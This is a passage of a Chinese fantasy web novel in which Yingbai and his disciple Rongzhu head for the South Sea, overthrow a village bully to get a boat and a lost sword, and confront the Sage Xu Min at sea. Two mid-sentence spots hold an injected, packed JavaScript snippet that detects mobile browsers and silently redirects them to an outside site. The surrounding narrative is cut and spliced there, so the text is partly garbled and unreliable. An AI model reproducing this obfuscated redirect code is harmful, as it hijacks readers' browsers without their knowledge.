容珠捂了捂鼻,这种味道实在是令她头皮发麻,她正准备放下帘子,余光见一白影闪过,待定睛去看,茫茫人海又不见踪迹。 虽没看仔细,但那人华贵飘逸的衣装明显与这里的粗布衣裳不一样,况且那衣服还有些熟悉。容珠心惊:难道容檀已经派清凌门弟子来抓师父了? 想了想终认为此事重大,还是跟应白说了一声。 应白“嗯”了一声道:“那人从前日就已经跟踪我们了,他只身一人,发现了我们也没有所举动,不知有何计划。” 他隐约怀疑此人身份,决定找一个合适的地方一探究竟。 待他们到达一处湖边时,应白说去取水,容珠拉过马儿来到水边,摸了摸它们粗糙的马毛,再一抬头竟不见师父踪影。 湖就这么大,师父能去哪里取水? 容珠担忧清凌门之人会不会已经和师父打了起来,放心不下,想去找找,“噗通”一响,容珠回眸。 石子落湖激起圈圈波纹,身后赫然站着一白衣青边之人,容珠下意识想高兴,但不确定他此行目的,只是站在那里,半笑不笑说了句:“大师兄?” 连逸笑容晴朗:“许久不见,师妹好像不认识我了。应白果然厉害,能将你从圣灵宫救出还不被人发现。” 此事另有原委,容珠心觉尴尬,不打算多说,还是问:“一直跟着我们的是你吗?” 连逸见容珠有所防备,也站在原地,没有往前走。 “掌门派我和几名弟子出来找应白,如此光荣的任务有那么多门派抢着干,清凌门在生辰宴上已经出尽风头了,这件事就让其他人做吧。” 容珠沉默不答,心里在想:所以大师兄是来干什么的呢? “师妹。”连逸眉头深锁,看着波光粼粼的湖面甚是忧愁,“天下说大也大,可如今哪里都张贴着捉拿应白的告示,你们去哪儿是安全的呢?” 哪里是安全的…… 天外天是应白的秘密,她不会对连逸说,想了想道:“如果知道自己随时都有没命的可能,不如珍惜一天是一天,我早已无家可归,现在应白是我师父,他从不嫌弃我无能,我亦会生死相随。” 连逸目露讶色,像是将这句惊天之言在心里揣测了良久,半晌后才道:“这里离南海很近,再过几日南海之山上的九品灵芝就要开了,届时各大门派前去抢夺,你们若在此地逗留怕会被发现。” 每年秋日,南海之山盛开的仅此一朵九品灵芝都会遭到整个修真界的相继争抢。 服用灵芝可灵力大增,延年益寿,滋养灵核,凡是有些修为的都要想尽办法夺得此宝。 同样,九品灵芝也能隔空使人增壮胆量,放大野心,促进人与人之间为争夺宝物而疯魔的几率,也大大增加伤亡人数,是世间绝无仅有的上佳之宝。 她怎么忘记这件事了! 偏偏是这个时间,偏偏是南海!如果所有门派都聚集在南海,只要有一人发现应白在此地岂不是…… 她兀自担忧起来,未曾注意脚步声临近。 应白猜测连逸有可能想单独找容珠说几句话,所以他才一直跟踪他们不曾现身,不然他们过去几日也曾在隐蔽处停留,怎么不见连逸现身? 他远远瞧着,奇怪两人说话为何要保持这样一段距离,总感觉连逸欲言又止,结合他之前也想救容珠这一事,一丝可怕的想法从应白脑中一闪而过,莫非连逸对容珠…… 连逸看见应白从远处过来,随即道:“我想和你聊一聊。” 他也是这么想的。 容珠一人蹲在河边发愁,他们有没有可能避开那些人呢?她用手指划动着湖面,马儿用头噌了噌她的手臂,低头在水里舔了一下她的手指。 没多久应白就一人回来了,手里拿着一把剑,容珠起初以为自己眼花了,直到应白笑着将剑递给她:“你的大师兄把你的剑拿过来了。剑不错,跟我那把一样好……唉,不提了。” 长剑在手,通体雪白,华光璀璨,剑柄刻一“珠”字,亲切之感扑面而来。 容珠细细抚摸,内心一阵感动,注意到剑柄处挂着一个蓝色锦囊,应白道:“也是他给你的,上车慢慢看吧。” 想起九品灵芝一事,容珠暂时放下锦囊问应白接下来的打算。 应白站在马前,用手拍着马背道:“是福不是祸,是祸躲不过。咱们这么多次都大难不死,就当作好事多磨吧。” 路上,容珠拆开了挂在剑上的蓝色锦囊,小小锦囊打开却是大大的空间,里面塞满了白花花的银子。 容珠惊得说不出话来,她慌忙拉开车帘望向那渐渐远去的湖泊,那里空无一人,只有树叶在微风的吹拂下沙沙作响。 她用袖子擦擦眼睛,自己刚才还对大师兄心怀警惕,此刻无限悔意涌上心头。 即便她和应白不缺钱,可雪中送炭之情却暖心入脾,久久无法平复。 * 下午又下起雨来,天色昏暗,应白停在一家客栈旁,客栈门口明晃晃地贴着抓捕应白的告示。 这些天来哪里都是如此,应白干咳一声道:“我们在此歇息一晚,明日再赶路。” “师父,我去订房。”容珠下车走进客栈,客栈不小,只有三两行人在此吃饭。 楼上叮当作响,也不知在干什么。容珠走向柜台对那少妇道:“老板娘,两间房。” 老板娘停下拨弄算珠的手,抬起眼皮看她一身简朴装扮,随即道:“人满了,只有一间。” 容珠不信:“可这里看起来没多少人……” “姑娘。”老板娘没好气道:“看你打扮应该不是修仙之人吧,再过半月南海之山上的九品灵芝就盛开了,到时候有多少修仙之人赶到这儿来,这里的客房是留给他们用的,知道吗?” 容珠道:“我们只住一晚,不耽误你生意。” “那也只有一间,你没看到吗,所有的客房都在重新装修,只有下等房间还空着一间。”老板娘拿着毛笔在纸上戳戳点点。 楼上传来此起彼伏的碰撞声,容珠思忖着,这里客栈尚且如此,若是再往前走定然也是这样。 这个地方少有修炼之人,猛然之间来了这么多,这些客栈肯定巴不得要去服务那些门派弟子。 “一间就一 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待屋中重新静下来后,容珠也寻了热水,她匆匆一洗就坐在床边呆呆地看着窗外。 雨像蚕丝似的细细密密,下个没完,不知过了多长时间,容珠都些困了的时候有轻轻的敲门声响起。 她倏地躺在被窝里睡下,好像这样就能避免尴尬。 敲门声又响两下,过了一会门悄悄打开,容珠双眼睁开一条缝隙,见应白进来朝她看了一眼,然后悄悄将门带上上闩,再轻轻走到桌前将蜡烛吹灭。 一阵被褥摩擦声过后房间沉静下来。 容珠缓缓睁眼,困意全然不见,一颗心“咚咚咚”地隔着胸膛,隔着被子在激烈跳动。 屋子里另外一颗心也是这般叫嚣。 应白睁着一双眼睛,好不容易静下心来准备入睡的时候,脑子里又响起白日与连逸的对话。 “容珠是我的师妹,我总想拿她当妹妹对待,可我和她归根究底没有那么熟悉,从前有许多隔阂,也不知以后能不能有机会再弥补。” 连逸眉目含忧,从乾坤囊中将容珠的佩剑递给应白。 “她似乎在你身边真的有变化,好奇怪,是因为爱吗?” 应白驻足,“爱?” 连逸道:“我听尊主说爱能使人产生力量,我不明白,爱虚无飘渺,不是剑也不是灵力,怎么能使人产生力量?” 应白了然,笑道:“在特定情况下,爱的确拥有力量。不过容珠本就天资聪颖,其实我还没到圣灵宫她就已经凭自己本事逃出来了。” “真的吗?”连逸像听到神仙下凡一般不可置信。随即叹了口气道:“可你为救她已经自爆身份,她亦对你生死相随,我一点都不希望你们的余生都要在追捕中度过。” 应白抓住了连逸话中某个字眼,双脚仿佛不会走路一般,有些呆滞地看着他:“她说什么?” 连逸回头,将容珠的话重复一遍:“她说,如果知道自己随时都有没命的可能,不如珍惜一天是一天,你是她师父,你从不嫌弃她无能,她亦会对你生死相随。 “生死相随,应白,当我听到这四个字的时候说不上来是怎样的一种震撼,我不明白,就像我依旧不太明白爱是什么一样。不过我能感觉到,这就是爱。” “容珠……”应白在心内轻轻呼唤着。 “你对我的爱和我对你的爱是截然不同的,你对我的关爱和支持总在无意间加深我对你的爱,我不敢这么做,却抑制不住自己的心总向你跳动。” 35. 大王 翌日早上容珠醒来时应白已不在屋内了。她收拾完后出门,隔着回廊看见应白正坐在桌前喝茶。 就这么一眼望去真像一个上了年纪的老者,她是知道真相的,所以跟他站在一起时从没意识到两人的外表落差,任谁去看一个白胡子老头身边跟着一个十七岁的少女都会认为两人是父女关系。 她笑笑,走过去道:“师父起得真早,吃过饭了吗?” 应白做了个“嘘”的手势,眉眼间带着坏笑说:“我是你爹爹,等你来了一块吃。” 容珠故作生气道:“你还当回事了?虽说我爹已经不在了,但要是他知道有人想顶替他的位置,一定从阴间爬出来咬你。” 应白双眸闪过一丝惊恐,想笑但敛了神色道:“情势所迫,你知我知,你爹爹会体谅的。”说罢,将桌上的菜单拿去让她看。 二人吃过早饭后就驾着马车继续赶路。午时的太阳金光万丈,穿过层层树叶投洒点点光辉,树木缝隙间,波光粼粼的海面若隐若现,秋风徐徐,潮湿又咸腥的气味更加清晰绵延地向远处飘去。 林间尽头排列着一户户简陋房屋,这些渔民沿海而居,屋前空地上铺着洗刷干净的渔网,大大小小的鱼晒得干瘪。 零星几个小孩在门口玩耍,一个女人大声嚷嚷孩子把刚洗的衣服弄脏了,照着他的屁股打了几下,哇哇的哭声响彻四周。 前方就是沙滩,马车不好走。应白和容珠下车步行,见靠海之处停靠着不可胜数的船只,一群男人拿着工具在不同的船上敲打修葺。 “这些船应是给前来夺取九品灵芝的人准备的。”应白眯着眼眸缓缓地扫过这些一眼望不到尽头的船只。 “师父,我们要怎样通过海屏障?”离灵芝盛开之日还有半个月的时间,如果要用某个解阵之法才能通过,容珠不敢保证以自己目前的灵力可以做到。 应白盯着某个地方说:“我第一次来南海的时候就看到那面屏障了,当时觉得奇怪,就用手触摸,结果我的手可以直接穿过这面屏障。我好奇,于是便试着划船过去,没想到就来到了天外天。” 穿过屏障方式过于草率简单,容珠一时间有些难以相信,随即高兴道:“那我们现在坐船过去岂不是就能到达天外天?” “若换作平常确实很简单,但现在恐怕我们无船可做。你看。” 应白用手指着对面停泊的船只,“这些船看起来都需要修葺,渔民们显然已经禁了这段时间所有想坐船去南海的普通人,他们这些船是要留给届时来采摘灵芝的各大门派用的。” 沿海地区居民生活简朴,几乎可以说是穷困潦倒。他们是南岭城最低贱的百姓,每年要上供给城主约定好的食物之数。 除去给城主的地税及食物,各个村镇的百姓还要供养着自己村的村王,否则会被赶出去流浪。村王再用收缴来的钱粮上供给城主,层层剥削,这些最普通的百姓每日只能勉强糊口。 每个村的村王无一不是穷凶极恶的,要么仗着财产颇多称霸,要么仗着打人称王。就像动物似的,打架打赢的就是老大。 村民们越穷困就越要想办法谋取粮食,既然靠海而居就只能出海打鱼,这便少不了船只。 船只都是各家自造,为节省开销都是自己用一块块木板拼接而成,日夜赶工,费神费力才能做好一艘,而这样一艘做工简单的船往往损耗极快。 渔民们自己日常所用船只尚且无力打造,眼下还要忙着给各修仙者准备,每年去往南海之山的船只都因争抢打斗而破损严重,是以年年都要修建新船。 城主也想巴结讨好强者,这才愿意拿出钱财来制造上等船只,不过苦力依旧是渔民们来做。 “干什么呢!快起来!这船上还有这么大个洞你没看见呐?坐这当大爷?你配吗?”一抹剑光出鞘,登时狠辣地朝那老头身上打去。 老头吓飞了魂魄,忙踉跄跪在地上颤抖着磕头:“大王饶命,贱民这就干活,求大王让贱民干活……” 这老头身形佝偻,身上只穿一件破烂薄衣,底下皮骨凸出,瘦削地连树枝都不如。 他干了一晚上的活,方才实在太困,根本抑制不住,就这么瘫坐地上睡了过去,被人打醒。 其他人见老头挨打似乎都没看见似的,只顾低头干活,离他最近的一个青年瞅了他一眼嫌弃道:“你挡着我了,上边去。” 被唤作大王那人生的肥头大耳,右手拎着一把黑光灿灿的长剑,剑柄宝石闪耀,他握剑指天大喊道:“都给我支棱起来干活!修不完船别想吃饭睡觉!耽误了贵人之事,看我不把你们捅死!” 他拿着剑煞有介事地舞了两下,长剑破空之声嗡鸣耳畔,清冽浑厚。 容珠奇道:“这剑不似俗物,我的佩剑还是爹爹用上品晶石打造的,而这把竟丝毫不逊于我的佩剑,这里的人怎么会有这等宝物?” 应白方才就注意到剑光了,那听了十几年的嗡鸣声此刻就像一个老朋友在对面呼唤着他。 剑柄处那颗闪着水光的晶球让应白在恍惚间又看到了当年河水漫天,那水怪在哀戚声中把精丹吐了出来,举到他眼前委屈道:“那你便带我去看看河外面的世界吧。” 思绪回笼,应白稍稍平复了下对容珠道:“你在这里等我。” 容珠以为他要去借船,点了点头。瞧着应白离那持剑人近些时便听他喊道:“大王在此,你算哪门子的人?” 持剑的中年男子略一晃神,随即怒目回头,见身后站一身穿布衣的白胡子老头,扬剑指道:“你是哪个村的老头子?反了天了!来我这撒野?” 干活的人虽然手里还在干着活,眼睛却开始往这瞟一眼瞟一眼,冷笑着这个没眼色的老头即将挨揍。 “今日刚来。”应白昂首俯视着他,“给本大王弄艘船来。” “什么?”中年男人在这称了十几年的大王,这里的人无一不对他顺从,称王享福了这么多年,岂能容忍一个老头子以下犯上! “给你弄艘船?你多大脸?” 他举剑指天,吆喝道:“我是这里的大王,这里所有人都听命于我,你一个不知从哪里流浪来的老头还想取而代之,受剑!” 嗡鸣声自前方划过,长剑还未落下,应白已迈出一步,一手握住那人的手腕,一用力便听“嘎嘣”一声,随即一声响破天际的哭嚎声惊动了周遭所有人。 长剑立在金黄沙滩上,通体纯黑,肃穆冷厉之气扑面而来。 “谁是大王?”应白依旧握着他的手腕不松。那人紧咬牙关,嘴唇绷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16741599|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得发白,一张圆润胖脸汗珠密集,他瞪着凶狠的目光,灵机一动,腿脚上踢。 应白神色肃穆,未见有何动作又听那人一声长嚎。 那中年男人发起攻击的右腿在抬起的一刹那就被应白一脚踩住,手腕和脚腕都受制于人,这人痛得眼泪直流,大叫一声张嘴就要咬人。 应白另一只手朝他脖颈一劈,那人瞬间被打了出去,叽里咕噜在沙滩上滚了段距离。 一时间手疼脚疼,脖子疼,他腾不出多余的精力安抚伤处,蜷着身子,勾起腿啊啊大叫。 干活的人已经不干了,肌肉反应让他们纷纷下船去扶沙滩上的老大,老老少少出声询问:“老大,你没事吧?”脸上不见半点忧伤。 “滚开,一群废物!”中年男人大喝一声,那些人立马退到一边去了,偷摸去看不远处那声称老大的老头。 应白拿起立在沙滩上的长剑,手腕一旋,在半空中挥划舞动,随即直指地上之人又问:“谁是老大?” 中年男人有些哆嗦,眸光却仍有不甘,咬着牙问:“你是何人?” “修炼之人。” “既是修炼之人,为何额间不见灵力标识?” “那也不是你可比拟的。”应白厉声道:“有没有船可行?你如果再不回答我的问题,就把你手剁了!” 说着,只见剑光一晃,中年男人顿觉手上传来一阵疼意,嚎叫道:“你们还不回答!有没有船可行!啊——” 长剑只是将他手划破,中年男人不停嗷叫,那些人吓得更加哆嗦,扑通一声全部跪下,颤抖道:“船,船都,都在修,没,没有,好,好船。” 应白扫了一眼对面船只,指着最破烂那艘说:“我要这个,这艘船不许动。” 这艘船烂到几乎可以说无法修缮的地步,扔了都不可惜。 那些人见状面露讶异,谁都不敢说话,他们不敢也没资格说话,决定船去留的是村里的大王,从不是他们。 中年男人说起来也是这个村子的人,早年间外出学过些拳脚功夫,后来遭人嫌弃撵了回来。 这些在外界不足称道的技俩拿到这里却成了厉害功夫,对付村里的老弱妇孺绰绰有余,即便是年轻人手脚灵活些,一时间忍受不了想反抗也被这人颇有章法的招式击退,再不敢造次。 如今他已领教过应白的实力,深知老头功夫不浅,对他生了畏惧,连声答:“好好好!给你,船给你,你是大王,剑,剑也给你。” 他咬了咬牙。 应白抚摸着手中多年不见的佩剑,冷笑一声,轻声道:“本来就是我的。” 他问:“从哪来的?” 男人挣扎起身,匍匐道:“五年前,就在前面捡的,可能是哪位贵人遗落的。” 应白早该想到,剑柄上既镶嵌的是水怪精丹,当年落水后许是自己又游上岸了。 失而复得之感的确欣喜,他继续装模做样喊道:“你们一个一个无精打采,如何修船?全部回去,未时再来!” 新大王的厉害这些人方才都见过了,现下无一不从,将手里工具放在地上,畏畏缩缩地回家去了。 应白侧头看地上之人,似笑非笑道:“既然我是大王,你也该领我们到你家去,好好招待才是。” 36. 同情 容珠远远见应白使了个眼色,明白他方才一番作为之用意,于是跟了过去。 强者为尊四个字已经贯彻了千百年,流淌在人们的血液中代代相传,哪里都免不了王者贱民的存在。 得强者得权,所以,在船只供不应求的情况下,应白要想用船就必须先夺权。 南海之大一眼望不到边际,居住在这里的渔民约有三四十户,一间间烂墙破瓦堆砌的房屋让人很难想象如何熬过几月后的冬日。 中年男人一瘸一拐地领着他们绕过这些并排的房屋,穿过林间一条短径来到一座四合小院。 不说一砖一瓦建的密实合缝,一进院内便肉香扑鼻,遥遥望见堂内案上摆着一行琳琅物什,四处彰显着充实享受之气。 听见门开,妇女还以为是自家丈夫回来忙出来迎接,一见院内多了两个生人,不明所以,瑟缩道:“老爷……” “老爷?”应白冷笑一声,“你真会给自己脸上贴金呐,还想当城主不成?” 中年男人摆摆那只没有受伤的手说:“不敢不敢,您是老爷。” “我不喜欢这个称呼,还是叫我大王吧,她是我徒弟,你也要放尊敬了。”应白睨眼看他,语气充满威胁。 男人点头称是,对容珠也唤了一声“大王”。容珠抿嘴偷笑,平生还没被人如此高呼,即便知道这算不得什么,权当取乐罢了。 应白心里估摸那艘破船怎么也得修个十天八天才能出海,于是便以大王的名义让那男人给自己找两间净屋。 男人眼神一转,说院内本还有两间屋子但恐他那无用的老婆叨扰他们,要将后方一所屋子拾掇出来供二人居住。 容珠暗道这人房产竟还有一处,看外面那些渔民房屋如此简陋,当大王的明明富得流油却还年年压榨。 抽了个空隙,等四下无人时问应白:“师父,我看这里的居民衣食不足,还要不分昼夜地修许多船,恐怕在半月内难以完成,到时船不够他们又会挨打,岂非太过不公?” 应白眸光一暗,想起自己从前的作为和人们的反应。 “我们改变不了什么,这是世界规则造就的现象,低贱二字烙印在他们身上,他们做的所有事,被迫面临的一切都是他们认为应该的。他们注定要承受这个世上最大的恶意,除非世界发生改变,否则他们的不公会无穷轮回。” 容珠听在心里感觉不是滋味,胸口烫烫的,准确来说,是灵核的位置有些发烫,她不甚在意,随应白来到海边。 未时到,渔民们都出来修船了,那艘被应白选中的破烂船孤零零地在水上起伏,若论大小,它能容纳三四个人,只是太过破烂,渔民们早已放弃它了。 应白本就不愿再从他们紧张的资源中拿走一样,他断定这艘船已废,干脆揽过来自己修,他们也不会心生怨气。 眼见他拿着一把工具开始敲敲打打,容珠难掩好奇,蹲在沙滩上道:“师父还会修船啊。” 应白走到船边四处检查着,一本正经道:“为师也就不会上天,其余的多少知晓一二。” 容珠被他的话语逗笑,也一本正经地叹息道:“徒儿笨手笨脚,只怕不能帮师父忙。” 腐烂的船板被应白敲了下来,手上很快沾上了泥沙污垢,他神色认真,嘴角扬起:“做我的徒弟只管享福就好,为师可不能让你受委屈。” 容珠先目露震惊,既而哭笑道:“我恐怕是天下最不孝的弟子啦,哪有师父干活,徒弟只管坐着喝茶的。” “怕什么?”应白将手搭在膝盖上,海水之光映在他眼中忽明忽暗:“我就做这史无前例的第一位师父,你呢就是史无前例的第一位徒弟,管他应该如何,你是徒弟,只管听师父话即可。” 没多久,船上残板被应白卸得差不多了,挂在船上的水草和破烂渔网也都清理干净,本就破烂的船如今只剩一块木板在水面漂浮着。 那些干活的人时不时往这瞄一眼,虽然一句话也不说,但神色间俱是不解和冷漠。 “我出去买点造船所用的木材,你小心那人。”应白在容珠耳边悄声说着。这人不指别人,正是这里的先大王。 先大王沦为平民后自同旁人没什么两样,也要加入修船的队列中干活,可他享福了大半辈子哪里会修船? 即便是这里土生土长的人,长年累月地好吃懒做也早让他忘了原本的营生,眼下只会在船上捡垃圾,不停偷瞄别人是怎么干的。 容珠悄无声息来到他身旁,他正在卸一块残破的木板,可这木板连接处好像卡住了,他敲半天也卸不利索。 “还不知你姓什么?” 身后忽然传来声音,男人吓了一跳,回头看是女大王,他没有立刻回答容珠的问题,而是四处看了看,像在寻找什么人。 “我师父出去了,你要找他?”容珠双手交叉放在胸前,尽量让自己装得威风一些。 男人忙摇头,答道:“贱民姓刘,叫刘大。” “哦。”容珠点点头,“我看你在偷懒,是不是?” “不是不是,我没有偷懒,我在修船,在修船。”说着他又开始对着这块顽固不掉的船板一阵捶敲,一双眼睛总往容珠站的地方瞟。 他谄笑着问:“女大王,你和那位大王功夫如此厉害,想必定十分有来历,贱民井底之蛙,今有幸得见高人,实在荣幸,莫非你们也是去那南海之山的?” 刘大这么问一是想确定这两个人的实力,毕竟那九品灵芝也不是有点修为就能摘得的,若是一不小心没命了,那他还能做回这里的大王。 二是确认两人是否有在此定居的打算,归根究底还是想知道他的大王之位有没有可能再度回手。 容珠好像没听见他问话似的,似笑非笑道:“这块板子你敲了这么长时间还没卸掉,不是偷懒是什么?” 她回手从后背抽出长剑,冷光一闪,当即照那船板劈了下去。 只听一声极响的断裂声,这块板子已然震落在水上,长剑嵌在船体中,徐徐光芒萦绕剑身,映照着刘大一双惊骇至极的眼眸。 “灵,灵,灵力……啊大王饶命,大王饶命,贱民有眼不识尊者,冲撞了大王,大王不要杀我,不要杀我……” 每年都有前来南海之山采摘灵芝的高人在此逗留数日,即便这些渔民再没见识也识得他们可能一辈子也触及不到的灵力。 此时眼前这把通体泛着流光的剑与往年那些人打架时亮出的剑是一样的耀眼,他们知道只要这光芒轻轻转向自己,立刻会小命不保。 刘大总想着试探这两人到底有多大的本事,他好趁人之危,夺回属于自己的大王称号,眼下亲眼见着滚滚灵力扑面而来,又不懂灵阶高低,以为是强者降临,自知以自己的力量是断断不可能反抗的,再不敢生出妄想。 “你若不拿出力气干活,就把你眼睛挖了。”容珠十分不喜他那双总在四处乱瞟的双眼,那分明是另有所思,心怀不轨的神情,这样的神情不止落在她身上也多次落在应白身上。 “别忘了,我师父还在这,他可比我厉害多了。” 刘大知道她的意思,只一味点头称是。 莫说刘大看见这把泛着流光的剑惊悚,就连容珠也在心里暗自欣喜,她还是第一次让自己的佩剑充满灵力,尽管这些灵力微不足道,但唬得住刘大就行。 “我问你,修船之人每日可得多少工钱?” “没有,他们怎配,啊不,我们怎配有工钱。”刘大如实回答。 “劳动出力怎不发工钱?” “大王,只,只有给城主做工的人,才会发工钱。” “不是城主出钱造船的吗,难道他们不是给城主做工吗?” “这些船是给修仙者造的,城主也掏钱出力买材料,不算是给他做工,况且这等贱活本就是我们应该做的事。” 刘大说得谦卑小心,还要分出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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应白将船板放在沙滩上,蹲下//身子开始沉浸式修船。 难得晴朗的午后,时光在海水一下又一下悠闲的翻涌中悄悄流逝,随着太阳西落,橙红的霞光横跨天际,残红余辉描摹在应白的眉眼上。 容珠蹲下来手抵着下巴看着他,想从这俊逸温和的青年中找寻他年少时的影子。 想象着他身穿劲装站在天阙台上成为圣灵的潇洒,想象着他当年看到世间种种恶意后的悲悯,想象着他孤身一人去往每个门派散播仁爱的坚持,想象着他当年被围堵在南海之上的不屈。 这里就是南海,这片海域就是当年应白被判决的地方,重回此地,他又是何心情? * 七日后,船已经修好了,像一轮弯月在海面上轻轻摇曳。 离日落还有些时辰,为了不跟那些采灵芝的门派中人碰上,应白决定现在就启程。 那刘大说着满口吉利话恭送他们,目光却总有一下没一下地去瞅应白背上的那把剑。 从那日他看到容珠展现灵力之时起就认定应白和容珠也是去南海之山采灵芝的,于是瞅着机会就插话道:“二位大王真是积极,我听闻那些修仙门派昨日才到镇上的客栈住下,二位就已经启程了,想来定能荣获至宝。” 应白听后猜测他或许知道更多的消息,“可知他们什么时候启程?” 刘大思索道:“贱民与那客栈老板相识,听他说有些门派明日就要来乘船了。嘿嘿,贱民不懂那南海灵芝,只听他们说赶早不赶晚,谁知道那灵芝究竟哪一日成熟呢?” 见应白不再问他,刘大搜刮脑子想卖弄一些消息给他,忽然想到昨日还听来一个消息忙说:“还有件圣灵宫的事。” 圣灵宫是这个世界拥有最高地位和权力的存在,所有消息指令都由圣灵宫发布,即便这些平民百姓一辈子也见不着圣灵宫,但他们都晓得主宰世界的真正的王是谁。 一听圣灵宫,唯恐是涉及应白的,容珠问:“什么事?” “那些门派弟子说得极小声,贱民好不容易偷听来的,好像是有位圣灵死啦。” 闻言,容珠与应白互相对视。 “哪位圣灵?” 七位圣灵的名讳响彻世间,无人不知,刘大毫不犹豫道:“是昌修圣灵。” 37. 海上雾 据刘大讲,昌修是在自己屋内被毒死的,发现的时候,已经死了三天了。 昌修身死一事未知真假,但由于容珠曾亲耳听到徐旻说要杀了昌修,况且圣灵之死是天大的事,想来假的可能微乎其微。 船桨滑动,岸上一排排房屋和人影离他们越来越远。早起时还晴空万里,午后便刮起大风,此刻行至海上不免冷风习习,有乌云遮日之感。 但若只是冷倒没什么,细密潮湿的雾气渐渐升起,周遭景象混沌不清,不辨方向,这便有些困难了。 应白眉头微锁,一边划着船桨一边观察四周,“当年我是无意间发现海屏障的,虽然离南海之山很近,但现下起雾遮挡了视线,怕是找起来费些事。” 容珠抽了下鼻子,海面的冷气让她鼻尖微红,她灵机一动,抽出剑来朝前一劈,一束剑光破雾穿行,霎时开辟出一条明路。 灵力增长的感觉就是不一样,这一道剑光劈下无论是力道还是波及力都不是过去可比拟的。 应白目露赞赏,随后关切道:“海面这么大,还是节省灵力为好,如有需要再用即可,若是冷了,包袱里有外裳,先披上。” 容珠的确有些冷,待她披上外衣顿觉风力又强劲了些,海面波浪起伏,船只隐隐摇晃,风帆吹得“呼呼”作响,不多时又飘起了小雨,丝丝密密打在脸上,阴冷之气席卷周遭。 不知行了多久,眼瞧着不远处的白雾间耸立着一黑乎乎的东西,容珠凝眸细看:“那不是南海之山吗?” 他们朝着一个方向一直航行,竟已到了南海之山。应白驻足遥望,眉间微微舒展:“既然前方是南海之山,那海屏障应该在那个位置。” 应白手指左方,划桨调转船头位置,“帮我劈开一条路。” 容珠朝应白手指的方向劈了一剑,浓浓白雾瞬间往左右两边散去,一条清明海路赫然出现在眼前。 应白正凝神寻找那面水光透亮的屏障,忽听后方传来一阵阵细小的声音。 海面风声颇大,与浪花翻涌之声联合很难注意到别的声响,所以应白竖耳仔细听了一阵,一丝不好的预感涌上心头。 他回身望向身后这片巨大的雾海,仿佛这也是面巨大的屏障,而屏障的另一面则藏着…… 忽然一道明光自雾后破空冲来,“小心!”应白立即抬手将容珠压下,随着浓雾渐渐散开,一艘与他们差不多大的船逐渐清晰地显露出来。 船身轻晃,船面赫然站着一人,他身穿青衣,约莫五十岁左右,肚皮微鼓,额间一抹金光锐利闪耀,一双老态但炯炯有神的眸子正盯着前方船上二人。 “是徐旻。”应白在容珠耳边悄声说着。容珠倒吸一口气,浑身紧绷了起来。 对面徐旻身负长剑,此刻剑光灼目,环绕着滚滚灵力,他开口道:“还以为本尊来得够早了,没想到还有人如此积极,何派何人,还不过来拜见?” 应白一身老头装扮未能让徐旻第一时间认出,两人不敢放松心弦,都在想着该如何应对。 采摘九品灵芝是有规则的,如果有圣灵想要他会提前发布消息,要么让人给他采,要么自己来采。 这种情况下相当于已经定下九品灵芝的最终归属,若圣灵宫没有传出要灵芝的消息,那九品灵芝就是其余各派凭实力采得,花落谁家未可知。 根据前几日情况看,圣灵宫并未放出消息要得此灵芝,缘何徐旻会突然出现在此地?他要灵芝干什么?只是为了增进修为? 应白隐约感觉事情没那么简单,此时,容珠已想好话术起身上前一步恭身道:“小女拜见圣灵,小女无门无派,只是个山野散修,自知无缘获得灵芝,所以前来一观。既圣灵至此,小女倍感荣幸,恭祝圣灵得取灵芝。” 徐旻一听只是个山野散修,当即撇撇嘴,昂首道:“低贱之人还妄想获取灵芝,当真不知好歹,我看你们连南海之山在哪都找不到吧?” 他轻哼一声,没有离开的意思,容珠只好硬着头皮胡扯道:“圣灵明鉴,海上风大雾浓,小女迷路了。” “既没那本事,还是打道回府吧,不是背着把剑就有资格来的。” “恭送圣灵。”容珠巴不得他赶紧走。 徐旻的确有走的意思,不过海浪起伏,船只摇晃,一抹精光从他眼角闪过,他立时回头,定睛细看对面船上那个趴下的男子背后之剑。 这抹精光正是从那剑上发出的,勾起了他些许回忆,这熟悉的剑柄和剑身,还有那颗镶嵌在剑柄处的水怪之精丹,如此独特之物,不正是祸害应白的佩剑吗! 徐旻登时变色,又惊又怕,但一想到他没拿到灵核于是指剑喊道:“应白!不想你在此潜伏,妄图采摘灵芝,如今各处都在缉拿你这祸害,还不快束手就擒!” 此言一出,容珠大惊。应白闻言起身,跨步于船头之上直视对面那人:“徐旻圣灵好眼力,应白在此。” 徐旻激动道:“不想今日有意外之喜,今日被我撞上,看你还往哪儿跑!” 应白扬声道,“多年不见,徐旻圣灵也不惦念同修之谊,这么着急捉拿我未免太将我看重,以现在的我哪里是徐旻圣灵的对手,不如先聊聊天,我真的好奇,徐旻圣灵是如何解决掉昌修圣灵的?” 徐旻先前还因即将抓捕应白而满脸亢奋,此刻脸色却与周遭白雾不相上下,举剑的手也颤了一下,声音陡然降了两分,“你说什么?你知道什么?” 应白故作懵懂,“正是因为不知道所以才问。是你所为还是……你妻子所为?” 海浪翻滚,徐旻圆润厚实的身子似乎颤栗不安,他像看着鬼怪一样看着应白。 “你胡说八道什么!昌修圣灵是在食用丹药时用量过猛,加之没有控制好灵力,遭受丹药反噬,中毒而死的,没想到你在漩涡之境里关了这么多年还是没有改变你这张妖言惑众的嘴!”徐旻怒容满面,长剑再一次直指应白。 狂风吹得应白衣袂纷飞,他哪知昌修的真正死因,不过是根据先前偷听那件事试探一下,看来只要触及利益,胆小的兔子也会反咬一口。 他笑道:“你我都明白宫内规矩,圣灵之间本来就是敌我关系,可以正大光明决战,生死不论,但若是秘密谋杀这性质就变了,如果被万初圣灵知道,他很难不认为你心有图谋,凭这一点,他完全可以断你生死。” 容珠眼看着应白已经惹怒了徐旻不禁心下一紧,连海上的风似乎也嗅到了开战气息,不停地狂啸肆虐。 